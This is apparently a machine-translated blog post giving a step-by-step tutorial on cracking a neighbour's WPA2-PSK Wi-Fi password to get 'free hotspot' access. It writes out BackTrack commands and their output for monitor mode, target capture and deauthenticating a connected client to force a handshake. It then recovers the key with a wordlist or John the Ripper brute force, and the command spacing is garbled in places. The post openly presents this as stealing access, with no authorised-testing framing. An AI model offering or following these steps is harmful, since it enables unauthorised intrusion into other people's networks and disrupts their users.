Certainly so much to get a Free Hotspot, but also using the Password! Well here's how to do Hacking / Cracking the WPA / PSK that password.
Things you need
1. You are using BackTrack 5 Linux as your OS Secondary, make a dual boot on your LAPTOP :)2. You have to collect passwords worldlist, so you can see the password, please search on google.3. Wireless connection / wireless card4. WPA is in your laptop.5. John the Ripper password cracker.6. Aircrack-ng and airodump-ng (aircrack package dah)
Download BackTrack 5 Here:
Download Wordlist John The Ripper Here:
Usually the tools needed above are complete in BackTrack, if not, Install BT yet please :)
Okay let's move on:1. We open up a shell prompt on BT and wireless show are all around us, here is the command:binushacker root @: ~ # airmon-ng start wlan0Interface Chipset Driverwlan0 ZyDAS zd1211 zd1211rw - [phy1](Monitor mode enabled on mon0)2. Khekhehehe .. It turns out there are sticking, let's let the wireless to target:binushacker root @: ~ # airodump-ng mon0BSSID PWR Beacons # Data, # / s CH MB ENC ESSID AUTH Cipher38: E7: D8: AD: B2: 0E 0 61 0 0 11 54e WPA2 CCMP PSK Wireless3. Wokeh, readily available, let's start taking / stealing wireless accessbinushacker root @: ~ # airodump-ng mon0-channel 11-bssid 38: E7: D8: AD: B2: 0E-w / tmp/wpa2CH 11] [BAT: 3 hours 51 mins] [elapsed: 7 mins] [2011-09-26 21:24RXQ BSSID PWR Beacons # Data, # / s CH MB ENC ESSID AUTH Cipher38: E7: D8: AD: B2: 0E 0 100 4319 83 0 11 54e WPA2 CCMP PSK WirelessBSSID STATION PWR Rate Lost Packets Probes38: E7: D8: AD: B2: 0E 00:03:6 D: F4: F8: 86 0 1 -48 0 81 WirelessWe wait for the user to perform authentication and de-authentication for some time.Just be patient when waiting for ya .. There must login and logout right? Well I'll see something like the following below:4. We get the current user logout / deautentikasi / we make him deautentikasi, we use the following command:binushacker root @: ~ # aireplay-ng -0 1-a 38: E7: D8: AD: B2: 0E-c 00:03:6 D: F4: F8: 86 mon021:25:49 Waiting for beacon frame (BSSID: 38: E7: D8: AD: B2: 0E) on channel 1121:25:50 Sending 64 directed deauth. STMAC: [00:03:6 D: F4: F8: 86] [62 | 63 ACKs]binushacker root @: ~ #5. Once the user logout and login again proficiency level, then we will get a login key information such as the following:CH 11] [BAT: 3 hours 43 mins] [elapsed: 1 min] [2011-09-26 21:27] [WPA handshake: 38: E7: D8: AD: B2: 0ERXQ BSSID PWR Beacons # Data, # / s CH MB ENC ESSID AUTH Cipher38: E7: D8: AD: B2: 0E 0 96 807 28 0 11 54e WPA2 CCMP PSK WirelessBSSID STATION PWR Rate Lost Packets Probes38: E7: D8: AD: B2: 0E 00:03:6 D: F4: F8: 86 0 54-6 01616. Well we got ya SASL authentication, we begin with John the Ripper, make sure that you have a wordlist which are many and complex in order to meet its KEY:binushacker root @: ~ # aircrack-ng-w / pentest / passwords / john / password.lst-b 38: E7: D8: AD: B2: 0E / tmp / wpa *. stampOpening / tmp/wpa2-01.capOpening / tmp/wpa2-02.capReading packets, please wait ...Aircrack-ng 1.1 r1904[00:00:00] 48 keys tested (489.60 k / s)KEY FOUND! [W! R3L3 $ $ PWD]Master Key: 02 A7 BC 67 CA 5F 24 B5 2A FC F0 01 1E D5 9B 2C8B C6 55 42 A5 A8 6B 33 4A 09 8B 07 84 D3 C0 1DTransient Key: 3F 2F 56 2B FD CE FA D9 55 14 84 2F 53 31 42 BF8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 9C 6C B16B D7 11 22 5A 1C 1D 7E 0B 3F 42 51 5E 28 55 F4D2 3A DB DD 4E 75 81 64 51 BB 29 86 AA 55 06 7BEAPOL HMAC: 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9Bbinushacker root @: ~ #Well, the password meet: W! R3L3 $ $ PWD7. Klo you do not want to use wordlist, yes usually wait a little longer, especially klo slow computer can be annoying. Here are ways without using a wordlist with John The Ripper:binushacker root @: ~ # / pentest / passwords / john / john - stdout - incremental: all | aircrack-ng-b 38: E7: D8: AD: B2: 0E-w - / tmp/wpa2 *. stampOpening / tmp/wpa2-01.capOpening / tmp/wpa2-02.capReading packets, please wait ...Aircrack-ng 1.1 r1904[00:00:22] 11 484 keys tested (534.50 k / s)KEY FOUND! [W! R3L3 $ $ PWD]Master Key: 02 A7 BC 67 CA 5F 24 B5 2A FC F0 01 1E D5 9B 2C8B C6 55 42 A5 A8 6B 33 4A 09 8B 07 84 D3 C0 1DTransient Key: 3F 2F 56 2B FD CE FA D9 55 14 84 2F 53 31 42 BF8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 9C 6C B16B D7 11 22 5A 1C 1D 7E 0B 3F 42 51 5E 28 55 F4D2 3A DB DD 4E 75 81 64 51 BB 29 86 AA 55 06 7BEAPOL HMAC: 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9Bbinushacker root @: ~ #Well, meet the password too, but I had to wait 30 HOURS: W! R3L3 $ $ PWD
Thanks, Michael Webster
No comments:
Post a Comment